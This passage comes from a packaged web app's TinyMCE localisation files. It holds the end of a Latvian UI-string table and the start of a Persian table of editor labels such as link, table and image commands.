"Remove link": "No\u0146emt saiti",
"Anchors": "Saites",
"Link": "Saite",
"Paste or type a link": "Iekop\u0113jiet vai ierakstiet saiti",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "J\u016bs ievad\u012bj\u0101t e-pasta adresi. Lai t\u0101 korekti darbotos, ir nepiecie\u0161ams to papildin\u0101t ar \"mailto:\" priek\u0161\u0101. Vai v\u0113laties to izdar\u012bt?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "J\u016bs ievad\u012bj\u0101t \u0101r\u0113jo saiti. Lai t\u0101 korekti darbotos, ir nepiecie\u0161ams to papildin\u0101t ar \"http:\/\/\" priek\u0161\u0101. Vai v\u0113laties to izdar\u012bt?",
"Link list": "Sai\u0161u saraksts",
"Insert video": "Ievietot video",
"Insert\/edit video": "Ievietot\/redi\u0123\u0113t video",
"Insert\/edit media": "Ievietot\/labot att\u0113lu",
"Alternative source": "Alternat\u012bvs avots",
"Poster": "Att\u0113ls",
"Paste your embed code below:": "Iekop\u0113jiet Embed kodu \u0161eit:",
"Embed": "Embed kods",
"Media": "Att\u0113ls vai video",
"Nonbreaking space": "Nedal\u0101m\u0101 atstarpe",
"Page break": "P\u0101reja uz jauno lapu",
"Paste as text": "Iel\u012bm\u0113t bez format\u0113juma",
"Preview": "Priek\u0161skat\u012bt",
"Print": "Druk\u0101t",
"Save": "Saglab\u0101t",
"Find": "Mekl\u0113t",
"Replace with": "Aizvietot ar",
"Replace": "Aizvietot",
"Replace all": "Aizvietot visu",
"Prev": "Iepriek\u0161\u0113jais",
"Next": "N\u0101kamais",
"Find and replace": "Mekl\u0113t un aizvietot",
"Could not find the specified string.": "Mekl\u0113tais teksts netika atrasts",
"Match case": "At\u0161\u0137irt lielos un mazos burtus",
"Whole words": "Tikai pilnos v\u0101rdus",
"Spellcheck": "Pareizrakst\u012bbas p\u0101rbaude",
"Ignore": "Ignor\u0113t",
"Ignore all": "Ignor\u0113t visu",
"Finish": "Pabeigt",
"Add to Dictionary": "Pievienot v\u0101rdn\u012bcai",
"Insert table": "Ievietot tabulu",
"Table properties": "Tabulas parametri",
"Delete table": "Dz\u0113st tabulu",
"Cell": "\u0160\u016bna",
"Row": "Rinda",
"Column": "Kolonna",
"Cell properties": "\u0160\u016bnas parametri",
"Merge cells": "Apvienot \u0161\u016bnas",
"Split cell": "Sadal\u012bt \u0161\u016bnas",
"Insert row before": "Jauna rinda augst\u0101k",
"Insert row after": "Jauna rinda zem\u0101k",
"Delete row": "Dz\u0113st rindu",
"Row properties": "Rindas parametri",
"Cut row": "Izgriezt rindu",
"Copy row": "Kop\u0113t rindu",
"Paste row before": "Iel\u012bm\u0113t rindu augst\u0101k",
"Paste row after": "Iel\u012bm\u0113t rindu zem\u0101k",
"Insert column before": "Jauna kolonna pa kreisi",
"Insert column after": "Jauna kolonna pa labi",
"Delete column": "Dz\u0113st kolonu",
"Cols": "Kolonnas",
"Rows": "Rindas",
"Width": "Platums",
"Height": "Augstums",
"Cell spacing": "\u0160\u016bnu atstarpe",
"Cell padding": "Iek\u0161\u0113j\u0101 atstarpe",
"Caption": "Ar virsrakstu",
"Left": "Pa kreisi",
"Center": "Centr\u0113t",
"Right": "Pa labi",
"Cell type": "\u0160\u016bnas veids",
"Scope": "Attiecin\u0101t uz",
"Alignment": "Izl\u012bdzin\u0101\u0161ana",
"H Align": "Horizont\u0101lais novietojums",
"V Align": "Vertik\u0101lais novietojums",
"Top": "Aug\u0161\u0101",
"Middle": "Pa vidu",
"Bottom": "Apak\u0161\u0101",
"Header cell": "Galvenes \u0161\u016bna",
"Row group": "Rindu grupa",
"Column group": "Kolonnu grupa",
"Row type": "Rindas veids",
"Header": "Galvene",
"Body": "Saturs",
"Footer": "K\u0101jene",
"Border color": "Apmales kr\u0101sa",
"Insert template": "Ievietot veidni",
"Templates": "Veidnes",
"Template": "Veidne",
"Text color": "Teksta kr\u0101sa",
"Background color": "Fona kr\u0101sa",
"Custom...": "Izv\u0113l\u0113ties citu...",
"Custom color": "Specifisk\u0101 kr\u0101sa",
"No color": "Nenor\u0101d\u012bt kr\u0101su",
"Table of Contents": "Saturs",
"Show blocks": "R\u0101d\u012bt blokus",
"Show invisible characters": "R\u0101d\u012bt neredzam\u0101s rakstz\u012bmes",
"Words: {0}": "V\u0101rdi: {0}",
"{0} words": "{0} v\u0101rdi",
"File": "Datne",
"Edit": "Labot",
"Insert": "Ievietot",
"View": "Skat\u012bt",
"Format": "Format\u0113t",
"Table": "Tabula",
"Tools": "R\u012bki",
"Powered by {0}": "Darb\u012bbu nodro\u0161ina {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Satura redaktors. Nospiediet ALT-F9 lai par\u0101d\u012btu izv\u0113lni, ALT-F10 - r\u012bkjoslu vai ALT-0 - pal\u012bdz\u012bbu."
});PK
h�\�i�å̊!program/js/tinymce/langs/fa_IR.jsnu�[���tinymce.addI18n('fa_IR',{
"Redo": "\u0628\u0627\u0632\u0627\u0646\u062c\u0627\u0645",
"Undo": "\u0648\u0627\u06af\u0631\u062f",
"Cut": "\u0628\u0631\u0634",
"Copy": "\u06a9\u067e\u06cc",
"Paste": "\u0686\u0633\u0628\u0627\u0646\u062f\u0646",
"Select all": "\u0627\u0646\u062a\u062e\u0627\u0628 \u0647\u0645\u0647",
"New document": "\u0633\u0646\u062f \u062c\u062f\u06cc\u062f",
"Ok": "\u062a\u0623\u06cc\u06cc\u062f",
"Cancel": "\u0644\u063a\u0648",
"Visual aids": "\u06a9\u0645\u06a9\u200c\u0647\u0627\u06cc \u0628\u0635\u0631\u06cc",
"Bold": "\u067e\u0631\u0631\u0646\u06af",
"Italic": "\u06a9\u062c",
"Underline": "\u0632\u06cc\u0631 \u062e\u0637 \u062f\u0627\u0631",
"Strikethrough": "\u062e\u0637 \u0632\u062f\u0646",
"Superscript": "\u0628\u0627\u0644\u0627\u0646\u06af\u0627\u0634\u062a",
"Subscript": "\u0632\u06cc\u0631\u0646\u06af\u0627\u0634\u062a",
"Clear formatting": "\u067e\u0627\u06a9 \u06a9\u0631\u062f\u0646 \u0642\u0627\u0644\u0628\u200c\u0628\u0646\u062f\u06cc",
"Align left": "\u062a\u0631\u0627\u0632\u0628\u0646\u062f\u06cc \u0627\u0632 \u0686\u067e",
"Align center": "\u062a\u0631\u0627\u0632\u0628\u0646\u062f\u06cc \u0627\u0632 \u0648\u0633\u0637",
"Align right": "\u062a\u0631\u0627\u0632\u0628\u0646\u062f\u06cc \u0627\u0632 \u0631\u0627\u0633\u062a",
"Justify": "\u062a\u0631\u0627\u0632\u0628\u0646\u062f\u06cc \u062f\u0648\u0637\u0631\u0641\u0647",
"Bullet list": "\u0641\u0647\u0631\u0633\u062a \u0646\u0634\u0627\u0646\u0647\u200c\u062f\u0627\u0631",
"Numbered list": "\u0641\u0647\u0631\u0633\u062a \u0634\u0645\u0627\u0631\u0647\u200c\u062f\u0627\u0631",
"Decrease indent": "\u06a9\u0627\u0647\u0634 \u062a\u0648\u0631\u0641\u062a\u06af\u06cc",
"Increase indent": "\u0627\u0641\u0632\u0627\u06cc\u0634 \u062a\u0648\u0631\u0641\u062a\u06af\u06cc",
"Close": "\u0628\u0633\u062a\u0646",
"Formats": "\u0642\u0627\u0644\u0628\u200c\u0628\u0646\u062f\u06cc\u200c\u0647\u0627",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0645\u0631\u0648\u0631\u06af\u0631 \u0634\u0645\u0627 \u0627\u0632 \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u0633\u062a\u0642\u06cc\u0645 \u0628\u0647 \u06a9\u0644\u06cc\u067e\u200c\u0628\u0648\u0631\u062f \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0646\u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0644\u0637\u0641\u0627\u064b \u0627\u0632 \u0645\u06cc\u0627\u0646\u0628\u0631\u0647\u0627\u06cc Ctrl+X\/C\/V \u0635\u0641\u062d\u0647 \u06a9\u0644\u06cc\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f.",
"Headers": "\u0633\u0631\u0628\u0631\u06af\u200c\u0647\u0627",
"Header 1": "\u0633\u0631\u0628\u0631\u06af 1",
"Header 2": "\u0633\u0631\u0628\u0631\u06af 2",
"Header 3": "\u0633\u0631\u0628\u0631\u06af 3",
"Header 4": "\u0633\u0631\u0628\u0631\u06af 4",
"Header 5": "\u0633\u0631\u0628\u0631\u06af 5",
"Header 6": "\u0633\u0631\u0628\u0631\u06af 6",
"Headings": "\u0633\u0631\u0641\u0635\u0644\u200c\u0647\u0627",
"Heading 1": "\u0633\u0631\u0641\u0635\u0644\u200c 1",
"Heading 2": "\u0633\u0631\u0641\u0635\u0644 2",
"Heading 3": "\u0633\u0631\u0641\u0635\u0644 3",
"Heading 4": "\u0633\u0631\u0641\u0635\u0644 4",
"Heading 5": "\u0633\u0631\u0641\u0635\u0644 5",
"Heading 6": "\u0633\u0631\u0641\u0635\u0644 6",
"Preformatted": "\u0627\u0632 \u067e\u06cc\u0634 \u0642\u0627\u0644\u0628\u200c\u0628\u0646\u062f\u06cc\u200c\u0634\u062f\u0647",
"Div": "\u0628\u062e\u0634",
"Pre": "\u067e\u06cc\u0634",
"Code": "\u06a9\u062f",
"Paragraph": "\u067e\u0627\u0631\u0627\u06af\u0631\u0627\u0641",
"Blockquote": "\u0646\u0642\u0644 \u0642\u0648\u0644 \u0628\u0644\u0648\u06a9\u06cc",
"Inline": "\u0647\u0645\u200c\u0631\u0627\u0633\u062a\u0627",
"Blocks": "\u0628\u0644\u0648\u06a9\u200c\u0647\u0627",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u0627\u0645\u06a9\u0627\u0646 \u0686\u0633\u0628\u0627\u0646\u062f\u0646\u060c \u062f\u0631 \u062d\u0627\u0644\u062a \u0645\u062a\u0646 \u062e\u0627\u0644\u0635 \u062a\u0646\u0638\u06cc\u0645 \u06af\u0634\u062a\u0647. \u062a\u0627 \u0632\u0645\u0627\u0646 \u062a\u063a\u06cc\u06cc\u0631 \u0627\u06cc\u0646 \u062d\u0627\u0644\u062a\u060c \u0645\u062d\u062a\u0648\u0627\u06cc \u0645\u0648\u0631\u062f \u0686\u0633\u0628\u0627\u0646\u062f\u0646\u060c \u0628\u0647 \u0635\u0648\u0631\u062a \u0645\u062a\u0646 \u062e\u0627\u0644\u0635 \u062e\u0648\u0627\u0647\u062f \u0686\u0633\u0628\u06cc\u062f.",
"Fonts": "\u0641\u0648\u0646\u062a\u200c\u200c\u0647\u0627",
"Font Sizes": "\u0627\u0646\u062f\u0627\u0632\u0647\u0654 \u0641\u0648\u0646\u062a",
"Class": "\u0637\u0628\u0642\u0647",
"Browse for an image": "\u06af\u0634\u062a\u0646 \u0628\u0631\u0627\u06cc \u0639\u06a9\u0633 \u0645\u0648\u0631\u062f \u0646\u0638\u0631",
"OR": "\u06cc\u0627",
"Drop an image here": "\u062a\u0635\u0648\u06cc\u0631 \u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u0631\u0627 \u0627\u06cc\u0646\u062c\u0627 \u0631\u0647\u0627 \u06a9\u0646\u06cc\u062f",
"Upload": "\u0622\u067e\u0644\u0648\u062f",
"Block": "\u0628\u0644\u0648\u06a9",
"Align": "\u062a\u0631\u0627\u0632\u0628\u0646\u062f\u06cc",
"Default": "\u067e\u06cc\u0634 \u0641\u0631\u0636",
"Circle": "\u062f\u0627\u06cc\u0631\u0647",
"Disc": "\u062f\u0627\u06cc\u0631\u0647\u0621 \u062a\u0648\u067e\u0631",
"Square": "\u0686\u0647\u0627\u0631 \u06af\u0648\u0634",
"Lower Alpha": "\u062d\u0631\u0648\u0641 \u06a9\u0648\u0686\u06a9",
"Lower Greek": "\u062d\u0631\u0648\u0641 \u06a9\u0648\u0686\u06a9 \u06cc\u0648\u0646\u0627\u0646\u06cc",
"Lower Roman": "\u0627\u0631\u0642\u0627\u0645 \u06a9\u0648\u0686\u06a9 \u0631\u0648\u0645\u06cc",
"Upper Alpha": "\u062d\u0631\u0648\u0641 \u0628\u0632\u0631\u06af",
"Upper Roman": "\u0627\u0631\u0642\u0627\u0645 \u0628\u0632\u0631\u06af \u0631\u0648\u0645\u06cc",
"Anchor...": "\u0642\u0644\u0627\u0628...",
"Name": "\u0646\u0627\u0645",
"Id": "\u0634\u0646\u0627\u0633\u0647",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "\u0634\u0646\u0627\u0633\u0647 \u0645\u06cc \u0628\u0627\u06cc\u0633\u062a \u0628\u0627 \u06cc\u06a9 \u062d\u0631\u0641 \u0627\u0644\u0641\u0628\u0627 \u0622\u063a\u0627\u0632 \u0648 \u0628\u0627 \u062f\u0646\u0628\u0627\u0644\u0647 \u0627\u06cc \u0627\u0632 \u062d\u0631\u0648\u0641\u060c \u0627\u0639\u062f\u0627\u062f\u060c \u0639\u0644\u0627\u0645\u062a \u0645\u0650\u0646\u0647\u0627\u060c \u0646\u0642\u0637\u0647\u060c \u062f\u0648 \u0646\u0642\u0637\u0647 \u06cc\u0627 \u062e\u0637 \u062a\u06cc\u0631\u0647 \u0627\u062f\u0627\u0645\u0647 \u06cc\u0627\u0628\u062f.",
"You have unsaved changes are you sure you want to navigate away?": "\u062a\u063a\u06cc\u06cc\u0631\u0627\u062a \u0634\u0645\u0627 \u0630\u062e\u06cc\u0631\u0647 \u0646\u0634\u062f\u0647 \u0627\u0646\u062f\u060c \u0622\u06cc\u0627 \u062c\u0647\u062a \u062e\u0631\u0648\u062c \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u062f\u0627\u0631\u06cc\u062f\u061f",
"Restore last draft": "\u0628\u0627\u0632\u06cc\u0627\u0628\u06cc \u0622\u062e\u0631\u06cc\u0646 \u067e\u06cc\u0634 \u0646\u0648\u06cc\u0633",
"Special character...": "\u062d\u0631\u0648\u0641 \u062e\u0627\u0635",
"Source code": "\u0645\u062a\u0646 \u06a9\u062f \u0645\u0646\u0628\u0639",
"Insert\/Edit code sample": "\u062f\u0631\u062c\/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0646\u0645\u0648\u0646\u0647\u0621 \u06a9\u062f",
"Language": "\u0632\u0628\u0627\u0646",
"Code sample...": "\u0646\u0645\u0648\u0646\u0647 \u06a9\u062f...",
"Color Picker": "\u0627\u0646\u062a\u062e\u0627\u0628\u200c\u06a9\u0646\u0646\u062f\u0647 \u0631\u0646\u06af",
"R": "\u0642\u0631\u0645\u0632",
"G": "\u0633\u0628\u0632",
"B": "\u0622\u0628\u06cc",
"Left to right": "\u0686\u067e \u0628\u0647 \u0631\u0627\u0633\u062a",
"Right to left": "\u0631\u0627\u0633\u062a \u0628\u0647 \u0686\u067e",
"Emoticons...": "\u0635\u0648\u0631\u062a\u06a9\u200c\u0647\u0627...",
"Metadata and Document Properties": "\u0641\u0631\u0627\u062f\u0627\u062f\u0647 \u0648 \u0645\u0634\u062e\u0635\u0627\u062a \u0633\u0646\u062f",
"Title": "\u0639\u0646\u0648\u0627\u0646",
"Keywords": "\u0648\u0627\u0698\u06af\u0627\u0646 \u06a9\u0644\u06cc\u062f\u06cc",
"Description": "\u062a\u0648\u0636\u06cc\u062d",
"Robots": "\u0631\u0648\u0628\u0627\u062a\u0647\u0627",
"Author": "\u0645\u0648\u0644\u0641",
"Encoding": "\u06a9\u062f\u06af\u0632\u0627\u0631\u06cc \u0645\u062a\u0646",
"Fullscreen": "\u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647",
"Action": "\u0639\u0645\u0644",
"Shortcut": "\u0645\u06cc\u0627\u0646\u0628\u064f\u0631",
"Help": "\u0631\u0627\u0647\u0646\u0645\u0627",
"Address": "\u0646\u0634\u0627\u0646\u06cc",
"Focus to menubar": "\u062a\u0645\u0631\u06a9\u0632 \u0628\u0631 \u0646\u0648\u0627\u0631 \u0645\u0646\u0648",
"Focus to toolbar": "\u062a\u0645\u0631\u06a9\u0632 \u0628\u0631 \u0646\u0648\u0627\u0631 \u0627\u0628\u0632\u0627\u0631",
"Focus to element path": "\u062a\u0645\u0631\u06a9\u0632 \u0628\u0631 \u0645\u0633\u06cc\u0631 \u0627\u0650\u0644\u0650\u0645\u0627\u0646",
"Focus to contextual toolbar": "\u062a\u0645\u0631\u06a9\u0632 \u0628\u0631 \u0646\u0648\u0627\u0631 \u0627\u0628\u0632\u0627\u0631 \u0645\u062a\u0646\u06cc",
"Insert link (if link plugin activated)": "\u062f\u0631\u062c \u067e\u06cc\u0648\u0646\u062f (\u0627\u06af\u0631 \u0627\u0641\u0632\u0648\u0646\u0647\u0621 \u067e\u06cc\u0648\u0646\u062f \u0641\u0639\u0627\u0644 \u0634\u062f)",
"Save (if save plugin activated)": "\u062b\u0628\u062a\u00a0(\u0627\u06af\u0631 \u0627\u0641\u0632\u0648\u0646\u0647\u0621 \u0630\u062e\u06cc\u0631\u0647 \u0633\u0627\u0632\u06cc \u0641\u0639\u0627\u0644 \u0634\u062f)",
"Find (if searchreplace plugin activated)": "\u06cc\u0627\u0641\u062a\u0646 (\u0627\u06af\u0631 \u0627\u0641\u0632\u0648\u0646\u0647\u0621 \u062c\u0633\u062a\u062c\u0648\/\u062c\u0627\u06cc\u06af\u0632\u06cc\u0646\u06cc \u0641\u0639\u0627\u0644 \u0634\u062f)",
"Plugins installed ({0}):": "\u0627\u0641\u0632\u0648\u0646\u0647 \u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0646\u0635\u0628 \u0634\u062f\u0646\u062f ({0}):",
"Premium plugins:": "\u0627\u0641\u0632\u0648\u0646\u0647 \u0647\u0627\u06cc \u0645\u062e\u0635\u0648\u0635:",
"Learn more...": "\u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0628\u06cc\u0634\u062a\u0631...",
"You are using {0}": "\u0634\u0645\u0627 \u062f\u0631 \u062d\u0627\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 {0} \u0645\u06cc \u0628\u0627\u0634\u06cc\u062f",
"Plugins": "\u0627\u0641\u0632\u0648\u0646\u0647 \u0647\u0627",
"Handy Shortcuts": "\u0645\u06cc\u0627\u0646\u0628\u064f\u0631\u0647\u0627\u06cc \u0633\u0648\u062f\u0645\u0646\u062f",
"Horizontal line": "\u062e\u0637 \u0627\u0641\u0642\u06cc",
"Insert\/edit image": "\u062f\u0631\u062c\/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u062a\u0635\u0648\u06cc\u0631",
"Image description": "\u062a\u0648\u0635\u06cc\u0641 \u062a\u0635\u0648\u06cc\u0631",
"Source": "\u0645\u0646\u0628\u0639",
"Dimensions": "\u0627\u0628\u0639\u0627\u062f",
"Constrain proportions": "\u062d\u0641\u0638 \u062a\u0646\u0627\u0633\u0628",
"General": "\u0639\u0645\u0648\u0645\u06cc",
"Advanced": "\u067e\u06cc\u0634\u0631\u0641\u062a\u0647",
"Style": "\u0633\u0628\u06a9",
"Vertical space": "\u0641\u0636\u0627\u06cc \u0639\u0645\u0648\u062f\u06cc",
"Horizontal space": "\u0641\u0636\u0627\u06cc \u0627\u0641\u0642\u06cc",
"Border": "\u0644\u0628\u0647",
"Insert image": "\u062f\u0631\u062c \u062a\u0635\u0648\u06cc\u0631",
"Image...": "\u062a\u0635\u0648\u06cc\u0631...",
"Image list": "\u0641\u0647\u0631\u0633\u062a \u062a\u0635\u0648\u06cc\u0631\u06cc",
"Rotate counterclockwise": "\u062f\u064e\u0648\u064e\u0631\u0627\u0646 \u067e\u0627\u062f \u0633\u0627\u0639\u062a \u06af\u0631\u062f",
"Rotate clockwise": "\u062f\u064e\u0648\u064e\u0631\u0627\u0646 \u0633\u0627\u0639\u062a \u06af\u0631\u062f",
"Flip vertically": "\u0642\u0631\u06cc\u0646\u0647 \u0639\u0645\u0648\u062f\u06cc",
"Flip horizontally": "\u0642\u0631\u06cc\u0646\u0647 \u0627\u0641\u0642\u06cc",
"Edit image": "\u0648\u06cc\u0631\u0627\u0633\u062a \u062a\u0635\u0648\u06cc\u0631",
"Image options": "\u062a\u0646\u0638\u06cc\u0645\u0627\u062a \u062a\u0635\u0648\u06cc\u0631",
"Zoom in": "\u0628\u0632\u0631\u06af \u0646\u0645\u0627\u06cc\u06cc",
"Zoom out": "\u06a9\u0648\u0686\u06a9 \u0646\u0645\u0627\u06cc\u06cc",
"Crop": "\u0628\u064f\u0631\u0634 \u062f\u064f\u0648\u0631",
"Resize": "\u062a\u063a\u06cc\u06cc\u0631 \u0627\u0646\u062f\u0627\u0632\u0647",
"Orientation": "\u06af\u0650\u0631\u0627",
"Brightness": "\u0631\u0648\u0634\u0646\u0627\u06cc\u06cc",
"Sharpen": "\u0628\u0647\u0628\u0648\u062f \u0644\u0628\u0647",
"Contrast": "\u062a\u0636\u0627\u062f \u0631\u0646\u06af",
"Color levels": "\u0633\u0637\u0648\u062d \u0631\u0646\u06af",
"Gamma": "\u06af\u0627\u0645\u0627",
"Invert": "\u0628\u0631\u06af\u0634\u062a \u0631\u0646\u06af",
"Apply": "\u0627\u0650\u0639\u0645\u0627\u0644",
"Back": "\u0628\u0627\u0632\u06af\u0634\u062a",
"Insert date\/time": "\u062f\u0631\u062c \u062a\u0627\u0631\u06cc\u062e\/\u0632\u0645\u0627\u0646",
"Date\/time": "\u062a\u0627\u0631\u06cc\u062e\/\u0632\u0645\u0627\u0646",
"Insert\/Edit Link": "\u062f\u0631\u062c\/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u067e\u06cc\u0648\u0646\u062f",
"Insert\/edit link": "\u062f\u0631\u062c\/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u067e\u06cc\u0648\u0646\u062f",
"Text to display": "\u0645\u062a\u0646 \u0646\u0645\u0627\u06cc\u0634\u06cc",
"Url": "\u0622\u062f\u0631\u0633",
"Open link in...": "\u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u067e\u06cc\u0648\u0646\u062f \u062f\u0631...",
"Current window": "\u067e\u0646\u062c\u0631\u0647 \u062c\u0627\u0631\u06cc",
"None": "\u0647\u06cc\u0686",
"New window": "\u067e\u0646\u062c\u0631\u0647\u0621 \u062c\u062f\u06cc\u062f",
"Remove link": "\u062d\u0630\u0641 \u067e\u06cc\u0648\u0646\u062f",
"Anchors": "\u0642\u0644\u0627\u0628 \u0647\u0627",
"Link...": "\u067e\u06cc\u0648\u0646\u062f...",
"Paste or type a link": "\u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u06cc\u0627 \u062a\u0627\u06cc\u067e \u067e\u06cc\u0648\u0646\u062f",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc \u0631\u0633\u062f \u0622\u062f\u0631\u0633 \u0648\u0631\u0648\u062f\u06cc \u06cc\u06a9 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647 \u0628\u0627\u0634\u062f. \u0622\u06cc\u0627 \u062a\u0645\u0627\u06cc\u0644 \u0628\u0647 \u0627\u0641\u0632\u0648\u0631\u062f\u0646 \u067e\u06cc\u0634\u0648\u0646\u062f mailto: \u062f\u0627\u0631\u06cc\u062f\u061f",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc \u0631\u0633\u062f \u0622\u062f\u0631\u0633 \u0648\u0631\u0648\u062f\u06cc \u0627\u0631\u062c\u0627\u0639\u06cc \u0628\u0647 \u062e\u0627\u0631\u062c \u0627\u0632 \u0627\u06cc\u0646 \u0633\u0627\u06cc\u062a \u0645\u06cc \u0628\u0627\u0634\u062f. \u0622\u06cc\u0627 \u062a\u0645\u0627\u06cc\u0644 \u0628\u0647 \u0627\u0641\u0632\u0648\u0631\u062f\u0646 \u067e\u06cc\u0634\u0648\u0646\u062f http:\/\/ \u062f\u0627\u0631\u06cc\u062f\u061f",
"Link list": "\u0641\u0647\u0631\u0633\u062a \u067e\u06cc\u0648\u0646\u062f",
"Insert video": "\u062f\u0631\u062c \u0648\u06cc\u062f\u06cc\u0648",
"Insert\/edit video": "\u062f\u0631\u062c\/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0648\u06cc\u062f\u06cc\u0648",
"Insert\/edit media": "\u062f\u0631\u062c\/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0631\u0633\u0627\u0646\u0647",
"Alternative source": "\u0645\u0646\u0628\u0639 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646",
"Alternative source URL": "\u0646\u0634\u0627\u0646\u06cc \u0648\u0628 \u0645\u0646\u0628\u0639 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646",
"Media poster (Image URL)": "\u067e\u0648\u0633\u062a\u0631 \u0631\u0633\u0627\u0646\u0647 (\u0646\u0634\u0627\u0646\u06cc \u0648\u0628 \u062a\u0635\u0648\u06cc\u0631)",
"Paste your embed code below:": "\u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u06a9\u062f \u062c\u0627\u0633\u0627\u0632\u06cc \u0634\u0645\u0627 \u062f\u0631 \u0632\u06cc\u0631: ",
"Embed": "\u062c\u0627\u0633\u0627\u0632\u06cc",
"Media...": "\u0631\u0633\u0627\u0646\u0647...",
"Nonbreaking space": "\u0641\u0636\u0627\u06cc \u062e\u0627\u0644\u06cc \u0628\u0631\u0634 \u0646\u0627\u067e\u0630\u06cc\u0631",
"Page break": "\u0628\u0631\u0634 \u0635\u0641\u062d\u0647",
"Paste as text": "\u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0645\u062a\u0646",
"Preview": "\u067e\u06cc\u0634 \u0646\u0645\u0627\u06cc\u0634",
"Print...": "\u0686\u0627\u067e...",
"Save": "\u0630\u062e\u06cc\u0631\u0647",
"Find": "\u062c\u0633\u062a\u062c\u0648",
"Replace with": "\u062c\u0627\u06cc\u06af\u0632\u06cc\u0646\u06cc \u0628\u0627",
"Replace": "\u062c\u0627\u06cc\u06af\u0632\u06cc\u0646\u06cc",
"Replace all": "\u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u0647\u0645\u0647",
"Previous": "\u0642\u0628\u0644\u06cc",
"Next": "\u0628\u0639\u062f\u06cc",
"Find and replace...": "\u06cc\u0627\u0641\u062a\u0646 \u0648 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u06a9\u0631\u062f\u0646...",
"Could not find the specified string.": "\u0631\u0634\u062a\u0647\u0621 \u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u06cc\u0627\u0641\u062a \u0646\u06af\u0631\u062f\u06cc\u062f.",
"Match case": "\u062a\u0637\u0627\u0628\u0642 \u062d\u0631\u0648\u0641",
"Find whole words only": "\u06cc\u0627\u0641\u062a\u0646 \u062f\u0642\u06cc\u0642\u0627\u064b \u06a9\u0644 \u0648\u0627\u0698\u0647",
"Spell check": "\u0628\u0631\u0631\u0633\u06cc \u0627\u0645\u0644\u0627",
"Ignore": "\u0628\u06cc \u062e\u06cc\u0627\u0644",
"Ignore all": "\u0628\u06cc \u062e\u06cc\u0627\u0644 \u0647\u0645\u0647",
"Finish": "\u0627\u062a\u0645\u0627\u0645",
"Add to Dictionary": "\u0628\u0647 \u0648\u0627\u0698\u0647 \u0646\u0627\u0645\u0647 \u0628\u06cc \u0627\u0641\u0632\u0627",
"Insert table": "\u062f\u0631\u062c \u062c\u062f\u0648\u0644",
"Table properties": "\u062a\u0646\u0638\u06cc\u0645\u0627\u062a \u062c\u062f\u0648\u0644",
"Delete table": "\u062d\u0630\u0641 \u062c\u062f\u0648\u0644",
"Cell": "\u0633\u0644\u0648\u0644",
"Row": "\u0633\u0637\u0631",
"Column": "\u0633\u062a\u0648\u0646",
"Cell properties": "\u062a\u0646\u0638\u06cc\u0645\u0627\u062a \u0633\u0644\u0648\u0644",
"Merge cells": "\u067e\u06cc\u0648\u0646\u062f \u0633\u0644\u0648\u0644 \u0647\u0627",
"Split cell": "\u062c\u062f\u0627 \u0633\u0627\u0632\u06cc \u0633\u0644\u0648\u0644",
"Insert row before": "\u062f\u0631\u062c \u0633\u0637\u0631 \u062f\u0631 \u0628\u0627\u0644\u0627",
"Insert row after": "\u062f\u0631\u062c \u0633\u0637\u0631 \u062f\u0631 \u067e\u0627\u06cc\u06cc\u0646",
"Delete row": "\u062d\u0630\u0641 \u0633\u0637\u0631",
"Row properties": "\u062a\u0646\u0638\u06cc\u0645\u0627\u062a \u0633\u0637\u0631",
"Cut row": "\u0628\u0631\u0634 \u0633\u0637\u0631",
"Copy row": "\u0631\u0648\u0646\u0648\u06cc\u0633\u06cc \u0633\u0637\u0631",
"Paste row before": "\u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0633\u0637\u0631 \u062f\u0631 \u0628\u0627\u0644\u0627",
"Paste row after": "\u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0633\u0637\u0631 \u062f\u0631 \u067e\u0627\u06cc\u06cc\u0646",
"Insert column before": "\u062f\u0631\u062c \u0633\u062a\u0648\u0646 \u0642\u0628\u0644",
"Insert column after": "\u062f\u0631\u062c \u0633\u062a\u0648\u0646 \u0628\u0639\u062f",
"Delete column": "\u062d\u0630\u0641 \u0633\u062a\u0648\u0646",
"Cols": "\u0633\u062a\u0648\u0646 \u0647\u0627",
"Rows": "\u0633\u0637\u0631 \u0647\u0627",
"Width": "\u0639\u0631\u0636",
"Height": "\u0627\u0631\u062a\u0641\u0627\u0639",
